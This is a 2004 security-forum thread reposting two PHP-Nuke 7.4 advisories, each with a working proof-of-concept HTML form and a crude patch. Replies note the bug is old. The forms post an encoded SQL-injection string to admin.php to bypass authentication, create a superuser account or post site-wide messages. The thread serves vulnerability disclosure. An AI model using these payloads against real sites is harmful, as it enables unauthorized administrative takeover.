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www.waraxe.us Forum Index -> Cross-site scripting aka XSS -> exploit and patch php-nuke 7.4
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exploit and patch php-nuke 7.4
PostPosted: Thu Oct 07, 2004 2:16 am Reply with quote
Ruco
Beginner
Beginner
 
Joined: Oct 07, 2004
Posts: 2




**************************************************************
* CODEBUG Labs
* Advisory #1
* Title: AddAdmin Bug
* Author: Pierquinto 'Mantra' Manco
* Product: PHP-Nuke 7.4
* Type: XSS
* Web: http://www.mantralab.org
*
**************************************************************

Remote Privilege Escalation

- ) Description
PHP-Nuke is a very bugged web CMS, version 7.4 has critical
XSS bug that permit attacker to gain Admin access
to the system.
The bug is very old but we can bypass the patch sending data
by POST instead of GET.

- ) Proof-of-Concept
Create a HTML file with this lines:

<form name="mantra" method="POST" action="http://www.sitewithphpnuke.com/admin.php">
<p>USERNAME:
<input type="text" name="add_aid">
<br>
NOME:
<input type="text" name="add_name">
<br>
PASSWORD:
<input type="text" name="add_pwd">
<br>
E-MAIL:
<input type="text" name="add_email">
<br>
<input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
<br>
<input type="hidden" name="add_radminsuper" value="1">
<br>
<input type="hidden" name="op" value="AddAuthor">
</p>
<p>
<input type="submit" name="Submit" value="Create Admin">
<br>
</p>
</form>


- ) Patch

Apply this code to your admin.php file:

if ( !empty($HTTP_GET_VARS['admin']) ) {
die("Shit! Mantra wins =)");
}

if ( !empty($HTTP_POST_VARS['admin']) ) {
die("Shit! Mantra wins =)");
}
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[XSS] PHP-Nuke 7.4 Add Message Bug by Mantra
PostPosted: Thu Oct 07, 2004 2:59 am Reply with quote
Ruco
Beginner
Beginner
 
Joined: Oct 07, 2004
Posts: 2




---------------------------------------------------------------------
6/9/2004 - [XSS] PHP-Nuke 7.4 Add Message Bug by Mantra

**************************************************************
* CODEBUG Labs
* Advisory #4
* Title: Addmsg Bug
* Author: Pierquinto 'Mantra' Manco
* Product: PHP-Nuke 7.4
* Type: XSS
* Web: http://www.mantralab.org
*
**************************************************************

Add Message Bug

- ) Description
PHP-Nuke is a very bugged web CMS, version 7.4 has critical
XSS bug that permit to an attacker to post gloabal home-page messages.
We can bypass the official php-nuke patch sending data
by POST instead of GET.

- ) Proof-of-Concept
Create a HTML file with this lines:

<form name="mantra" method="POST" action="http://www.sitewithphpnuke.com/admin.php">
<p>TITLE:
<input type="text" name="add_title">
<br>
CONTENT:
<textarea name="add_content" rows=10 cols=50></textarea>
<br>
DATE:
<input type="text" name="add_mdate">
<br>
E-MAIL:
<input type="text" name="add_expire">
<br>
<input type="hidden" name="add_expire" value="0">
<br>
<input type="hidden" name="add_active" value="1">
<br>
<input type="hidden" name="add_view" value="1">
<br>
<input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
<br>
<input type="hidden" name="add_radminsuper" value="1">
<br>
<input type="hidden" name="op" value="addmsg">
</p>
<p>
<input type="submit" name="Submit" value="Post this message">
<br>
</p>
</form>

- ) Patch

Apply this code to your admin.php file:

if ( !empty($HTTP_GET_VARS['admin']) ) {
die("Shit! Mantra wins =)");
}

if ( !empty($HTTP_POST_VARS['admin']) ) {
die("Shit! Mantra wins =)");
}

-) Note
Previous patch isn't enough performant.
Try this one.
There are a lot of this problem in PHP-Nuke 7.4, my patch will check
the content of $_POST[admin] and $_GET[admin].
I'm going to post all this vulnerabilities on my site...
http://www.mantralab.org
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PostPosted: Thu Oct 07, 2004 1:20 pm Reply with quote
Tora
Regular user
Regular user
 
Joined: May 19, 2004
Posts: 9
Location: Germany




Hi Very Happy

i think this exploit is very old....?

http://www.waraxe.us/?modname=sa&id=018

_________________
Greetings from Germany
Andi aka Tora, SiteAdmin @ pragmamx.org pragmaMx developer-team
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PostPosted: Fri Oct 08, 2004 4:41 am Reply with quote
hebe
Advanced user
Advanced user
 
Joined: Sep 04, 2004
Posts: 59




for 1.5 mounths
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PostPosted: Fri Oct 08, 2004 2:49 pm Reply with quote
LINUX
Moderator
Moderator
 
Joined: May 24, 2004
Posts: 404
Location: Caiman




yeah is old Sad
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exploit and patch php-nuke 7.4
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